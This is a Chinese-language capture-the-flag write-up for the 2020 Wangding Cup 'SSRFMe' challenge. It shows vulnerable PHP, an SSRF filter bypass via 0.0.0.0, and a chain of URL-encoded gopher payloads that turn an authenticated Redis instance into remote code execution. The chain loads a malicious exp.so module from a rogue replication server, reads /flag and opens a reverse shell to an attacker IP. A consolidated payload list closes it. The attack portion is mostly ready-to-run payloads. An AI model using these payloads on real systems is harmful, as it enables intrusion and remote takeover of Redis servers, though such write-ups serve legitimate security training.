SSRFMe

1. 网鼎杯 2020 玄武组SSRFMe

1.1. 绕过ssrf限制

 <?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

这里直接用 http://0.0.0.0/hint.php 绕过ssrf的白名单限制

string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
" 

然后就获取到了提示,告诉我们redis的密码是 root

1.2. 不出网且带认证的Redis主从复制RCE

1 开启恶意redis服务端
需要先把 Redis-Rogue-Server 中的exp.so复制到 Awsome-Redis-Rogue-Server 工具的根目录
使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块, Awsome-Redis-Rogue-Server自带的so没有这个模块

#服务端开启监听
root@hcss-ecs-0abd:/var/www/html/redis/Awsome-Redis-Rogue-Server# python3 redis_rogue_server.py   -v -lport 1189
[*] Listening on port: 1189

Pasted image 20250511125000

2 gopher协议 设置备份路径
%250d 是换行的双重url编码

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

#下面的解码后的内容,
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

Pasted image 20250511124947

3 加载恶意服务端的exp.so
重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252010.88.15.239%252021000%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 10.88.15.239 21000
quit

Pasted image 20250511130038
然后就会获取到数据
Pasted image 20250511130349

4 加载模块

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

Pasted image 20250511134914
5 关闭主从同步

gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

Pasted image 20250511131923

导出数据库

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit

命令执行

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

Pasted image 20250511134038

或者反弹shell

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%252010.88.15.239%25206666%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.rev 10.88.15.239 6666
quit

这里弹回来了,但是由于是我windows nc有问题所以执行不了命令
Pasted image 20250511134642

1.3. payload整合

# 服务端开启监听,准备exp.so模块
python3 redis_rogue_server.py -v -lport 1189 -path exp.so

# 设置Redis备份目录为 /tmp/
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit 

# 设置备份文件名为exp.so,并让Redis作为从服务器连接到恶意服务端
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252010.88.15.239%252021000%250d%250aquit

# 加载exp.so模块
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

# 关闭主从同步
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

# 恢复备份文件名为dump.rdb
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

# 利用exp.so模块执行命令,读取flag
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

#反弹shell
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%2520【ip】%2520【port】%250d%250aquit